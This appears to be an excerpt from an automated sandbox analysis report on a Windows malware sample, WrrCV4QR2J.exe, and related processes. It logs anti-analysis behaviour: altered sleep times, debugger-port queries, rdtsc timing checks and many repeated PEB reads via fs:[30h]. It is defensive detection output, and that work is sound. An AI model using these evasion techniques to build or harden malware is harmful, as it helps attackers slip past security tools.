Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe TID: 7524	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe TID: 7524	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe TID: 7524	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe TID: 7524	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe TID: 7524	Thread sleep time: -41000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\isoburn.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\isoburn.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\isoburn.exe

Code function: 4_2_028EC280 FindFirstFileW,FindNextFileW,FindClose,

4_2_028EC280

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Thread delayed: delay time: 922337203685477

Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121097965.0000000000B1F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Code function: 2_2_015B096E rdtsc

2_2_015B096E

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Code function: 2_2_004173F3 LdrLoadDll,

2_2_004173F3

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156C156 mov eax, dword ptr fs:[00000030h]	2_2_0156C156
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576154 mov eax, dword ptr fs:[00000030h]	2_2_01576154
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576154 mov eax, dword ptr fs:[00000030h]	2_2_01576154
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01604144 mov eax, dword ptr fs:[00000030h]	2_2_01604144
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01604144 mov eax, dword ptr fs:[00000030h]	2_2_01604144
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01604144 mov ecx, dword ptr fs:[00000030h]	2_2_01604144
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01604144 mov eax, dword ptr fs:[00000030h]	2_2_01604144
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01604144 mov eax, dword ptr fs:[00000030h]	2_2_01604144
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01608158 mov eax, dword ptr fs:[00000030h]	2_2_01608158
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov ecx, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov ecx, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov ecx, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov eax, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E10E mov ecx, dword ptr fs:[00000030h]	2_2_0161E10E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01630115 mov eax, dword ptr fs:[00000030h]	2_2_01630115
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161A118 mov ecx, dword ptr fs:[00000030h]	2_2_0161A118
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161A118 mov eax, dword ptr fs:[00000030h]	2_2_0161A118
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161A118 mov eax, dword ptr fs:[00000030h]	2_2_0161A118
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161A118 mov eax, dword ptr fs:[00000030h]	2_2_0161A118
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A0124 mov eax, dword ptr fs:[00000030h]	2_2_015A0124
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016461E5 mov eax, dword ptr fs:[00000030h]	2_2_016461E5
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EE1D0 mov eax, dword ptr fs:[00000030h]	2_2_015EE1D0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EE1D0 mov eax, dword ptr fs:[00000030h]	2_2_015EE1D0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_015EE1D0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EE1D0 mov eax, dword ptr fs:[00000030h]	2_2_015EE1D0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EE1D0 mov eax, dword ptr fs:[00000030h]	2_2_015EE1D0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016361C3 mov eax, dword ptr fs:[00000030h]	2_2_016361C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016361C3 mov eax, dword ptr fs:[00000030h]	2_2_016361C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A01F8 mov eax, dword ptr fs:[00000030h]	2_2_015A01F8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F019F mov eax, dword ptr fs:[00000030h]	2_2_015F019F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F019F mov eax, dword ptr fs:[00000030h]	2_2_015F019F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F019F mov eax, dword ptr fs:[00000030h]	2_2_015F019F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F019F mov eax, dword ptr fs:[00000030h]	2_2_015F019F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A197 mov eax, dword ptr fs:[00000030h]	2_2_0156A197
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A197 mov eax, dword ptr fs:[00000030h]	2_2_0156A197
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A197 mov eax, dword ptr fs:[00000030h]	2_2_0156A197
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B0185 mov eax, dword ptr fs:[00000030h]	2_2_015B0185
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01614180 mov eax, dword ptr fs:[00000030h]	2_2_01614180
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01614180 mov eax, dword ptr fs:[00000030h]	2_2_01614180
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162C188 mov eax, dword ptr fs:[00000030h]	2_2_0162C188
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162C188 mov eax, dword ptr fs:[00000030h]	2_2_0162C188
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01572050 mov eax, dword ptr fs:[00000030h]	2_2_01572050
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F6050 mov eax, dword ptr fs:[00000030h]	2_2_015F6050
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159C073 mov eax, dword ptr fs:[00000030h]	2_2_0159C073
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E016 mov eax, dword ptr fs:[00000030h]	2_2_0158E016
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E016 mov eax, dword ptr fs:[00000030h]	2_2_0158E016
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E016 mov eax, dword ptr fs:[00000030h]	2_2_0158E016
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E016 mov eax, dword ptr fs:[00000030h]	2_2_0158E016
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01606030 mov eax, dword ptr fs:[00000030h]	2_2_01606030
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F4000 mov ecx, dword ptr fs:[00000030h]	2_2_015F4000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01612000 mov eax, dword ptr fs:[00000030h]	2_2_01612000
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A020 mov eax, dword ptr fs:[00000030h]	2_2_0156A020
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156C020 mov eax, dword ptr fs:[00000030h]	2_2_0156C020
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F20DE mov eax, dword ptr fs:[00000030h]	2_2_015F20DE
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0156C0F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015B20F0 mov ecx, dword ptr fs:[00000030h]	2_2_015B20F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0156A0E3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015780E9 mov eax, dword ptr fs:[00000030h]	2_2_015780E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F60E0 mov eax, dword ptr fs:[00000030h]	2_2_015F60E0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016080A8 mov eax, dword ptr fs:[00000030h]	2_2_016080A8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016360B8 mov eax, dword ptr fs:[00000030h]	2_2_016360B8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016360B8 mov ecx, dword ptr fs:[00000030h]	2_2_016360B8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157208A mov eax, dword ptr fs:[00000030h]	2_2_0157208A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov eax, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov eax, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov eax, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov ecx, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov eax, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F035C mov eax, dword ptr fs:[00000030h]	2_2_015F035C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F2349 mov eax, dword ptr fs:[00000030h]	2_2_015F2349
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161437C mov eax, dword ptr fs:[00000030h]	2_2_0161437C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163A352 mov eax, dword ptr fs:[00000030h]	2_2_0163A352
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01618350 mov ecx, dword ptr fs:[00000030h]	2_2_01618350
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156C310 mov ecx, dword ptr fs:[00000030h]	2_2_0156C310
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01590310 mov ecx, dword ptr fs:[00000030h]	2_2_01590310
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AA30B mov eax, dword ptr fs:[00000030h]	2_2_015AA30B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AA30B mov eax, dword ptr fs:[00000030h]	2_2_015AA30B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AA30B mov eax, dword ptr fs:[00000030h]	2_2_015AA30B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015783C0 mov eax, dword ptr fs:[00000030h]	2_2_015783C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015783C0 mov eax, dword ptr fs:[00000030h]	2_2_015783C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015783C0 mov eax, dword ptr fs:[00000030h]	2_2_015783C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015783C0 mov eax, dword ptr fs:[00000030h]	2_2_015783C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0157A3C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F63C0 mov eax, dword ptr fs:[00000030h]	2_2_015F63C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A63FF mov eax, dword ptr fs:[00000030h]	2_2_015A63FF
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0158E3F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0158E3F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0158E3F0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0162C3CD mov eax, dword ptr fs:[00000030h]	2_2_0162C3CD
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015803E9 mov eax, dword ptr fs:[00000030h]	2_2_015803E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016143D4 mov eax, dword ptr fs:[00000030h]	2_2_016143D4
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016143D4 mov eax, dword ptr fs:[00000030h]	2_2_016143D4
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E3DB mov eax, dword ptr fs:[00000030h]	2_2_0161E3DB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E3DB mov eax, dword ptr fs:[00000030h]	2_2_0161E3DB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E3DB mov ecx, dword ptr fs:[00000030h]	2_2_0161E3DB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161E3DB mov eax, dword ptr fs:[00000030h]	2_2_0161E3DB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01568397 mov eax, dword ptr fs:[00000030h]	2_2_01568397
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01568397 mov eax, dword ptr fs:[00000030h]	2_2_01568397
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01568397 mov eax, dword ptr fs:[00000030h]	2_2_01568397
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159438F mov eax, dword ptr fs:[00000030h]	2_2_0159438F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159438F mov eax, dword ptr fs:[00000030h]	2_2_0159438F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156E388 mov eax, dword ptr fs:[00000030h]	2_2_0156E388
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156E388 mov eax, dword ptr fs:[00000030h]	2_2_0156E388
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156E388 mov eax, dword ptr fs:[00000030h]	2_2_0156E388
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156A250 mov eax, dword ptr fs:[00000030h]	2_2_0156A250
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576259 mov eax, dword ptr fs:[00000030h]	2_2_01576259
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01620274 mov eax, dword ptr fs:[00000030h]	2_2_01620274
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F8243 mov eax, dword ptr fs:[00000030h]	2_2_015F8243
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F8243 mov ecx, dword ptr fs:[00000030h]	2_2_015F8243
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01574260 mov eax, dword ptr fs:[00000030h]	2_2_01574260
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01574260 mov eax, dword ptr fs:[00000030h]	2_2_01574260
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01574260 mov eax, dword ptr fs:[00000030h]	2_2_01574260
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156826B mov eax, dword ptr fs:[00000030h]	2_2_0156826B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156823B mov eax, dword ptr fs:[00000030h]	2_2_0156823B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0157A2C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0157A2C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0157A2C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0157A2C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0157A2C3
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015802E1 mov eax, dword ptr fs:[00000030h]	2_2_015802E1
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015802E1 mov eax, dword ptr fs:[00000030h]	2_2_015802E1
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015802E1 mov eax, dword ptr fs:[00000030h]	2_2_015802E1
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov eax, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov ecx, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov eax, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov eax, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov eax, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_016062A0 mov eax, dword ptr fs:[00000030h]	2_2_016062A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F0283 mov eax, dword ptr fs:[00000030h]	2_2_015F0283
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F0283 mov eax, dword ptr fs:[00000030h]	2_2_015F0283
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015F0283 mov eax, dword ptr fs:[00000030h]	2_2_015F0283
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AE284 mov eax, dword ptr fs:[00000030h]	2_2_015AE284
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AE284 mov eax, dword ptr fs:[00000030h]	2_2_015AE284
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015802A0 mov eax, dword ptr fs:[00000030h]	2_2_015802A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015802A0 mov eax, dword ptr fs:[00000030h]	2_2_015802A0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578550 mov eax, dword ptr fs:[00000030h]	2_2_01578550
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578550 mov eax, dword ptr fs:[00000030h]	2_2_01578550
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A656A mov eax, dword ptr fs:[00000030h]	2_2_015A656A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A656A mov eax, dword ptr fs:[00000030h]	2_2_015A656A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A656A mov eax, dword ptr fs:[00000030h]	2_2_015A656A
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01606500 mov eax, dword ptr fs:[00000030h]	2_2_01606500
